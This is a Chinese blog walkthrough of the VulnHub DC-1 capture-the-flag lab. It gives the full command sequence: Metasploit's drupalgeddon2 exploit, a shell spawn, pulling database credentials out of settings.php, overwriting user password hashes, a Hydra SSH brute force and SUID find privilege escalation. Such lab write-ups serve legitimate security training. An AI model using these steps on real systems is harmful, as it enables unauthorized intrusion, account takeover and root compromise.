VulnHub-DC-1靶场渗透过程

一.环境准备

1.kail虚拟机

2.DC-1靶场

官网下载 https://download.vulnhub.com/dc/DC-1.zip

确保靶场与kail处于同一网段; 

二.渗透

1.打开靶场

登录界面出现即可

2..信息收集

1.探测目标ip

可以使用的工具arp-scan、nmap、netdiscover

这里我们用nmap

先看一下我们kail的ip

ifconfig

ip为192.168.91.140

再用nmap

nmap -sP 192.168.91.0/24 

扫主机所在的网段 

对照DC-1的MAC地址得到其ip 192.168.91.147

 2.namp 扫描端口

nmap -sV -p- 192.168.91.147

 

80端口对应的是http协议,用浏览器访问

3.web端信息收集

使用kail自带的whatweb工具

whatweb -v 192.168.91.147

 得知cms为Drupal ,再用dirsearch工具扫一下目录

dirsearch -u 192.168.91.147 -e *

得到如下信息:

CMS是Drupal
Apache 2.2.22

PHP 5.4.45

jQuery 1.4.4 

3.漏洞查找利用

1.百度查找Drupal漏洞

 

2.用工具Metasploit

msfconsole

输入命令 

search Drupal

 

可以了解该cms有很多漏洞,我们选择2018的漏洞(等级高且时间新)

4.漏洞利用

利用2018的漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

查看漏洞参数

 show options

Current Setting是目前设置的内容

Required表是否需要设置内容,yes必须设置,no可以设置也可以不设置

RHOSTS需要设置被攻击机的ip

set RHOSTS 192.168.91.147

设置好参数攻击开始

exploit 

出现Meterpreter session 1 opened(kali和被攻击目标ip的连接)证明攻击成功,接下来我们直接上shell 

5.Get Shell

1.获取普通shell

shell

 

然后发送ls指令

2.获取交互式Shell

可以利用python实现互交shell,使用的前提是攻击主机上必须装有python

python -c 'import pty; pty.spawn("/bin/bash")' 

但是现在该用户为普通用户,不是root管理员,也可以看一下文件。 翻一下发现flag1.txt文件,

直接打开

tac flag1.txt 

每个好的CMS都需要一个配置文件,你也是 。我们再看看有没有其他flag文件

find / -name flag*

但是只有一个文件,那我们就去看看之前说的配置文件。一般来说配置文件都有一些特别重要的信息在里面,说不定还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行。

cat `find / -name settings.php`

 好好发现一个数据库账号密码,登录一下。

登进去了,这样我们就可以为所欲为修改数据库了,先看看有什么东西 

show databases;

接着使用数据库,并查看表 

use drupaldb;show tables;

 

注意到users这个表,看一下有啥,先改小一点字体,不然可能会太大看不清。

select * from users;

得到二个用户

| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

 现在有个问题:密码太复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin。百度搜一下Drupal管理员密码忘记解决办法。

1.修改admin密码

我们必须先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

在当前目录下,我们先退出mysql

exit; 

打开加密脚本

cat /var/www/scripts/password-hash.sh 

这个脚本是用php写的,而且还能用php加参数直接运行,直接得到加密后的密码,这里我们设置一个密码123456 。

php /var/www/scripts/password-hash.sh 123456

获得加密的密码,当然是直接登录了,嘿嘿嘿。  然后我们登入mysql修改一下admin跟Fred的密码。

mysql -udbuser -pR0ck3t


use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred'; 

 

 修改完成,然后我们登录web;

然后发现flag3文件,提示了我们一些信息passwd和shadow,明显是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

然后我们看一下用户信息

tac /etc/passwd

 可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

爆破用户密码

用Hydra爆破flag4的密码

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.91.147

 爆破密码为orange,然后我们用kali连接

我们用提权,利用find命令,找查具有SUID权限的可执行二进制文件 

find / -perm -u=s -type f 2>/dev/null

 ssh flag4@192.168.91.147

 打开flag4文件。

Linux提权

find比较常用,可以执行root权限的命令找查文件 

find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要,只需要格式对,然后后面加上

-exec "/bin/sh" \;

提权成功,找剩下的flag

cd /root

 ls

cat * 

 拿到第五个flag,收工了!

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值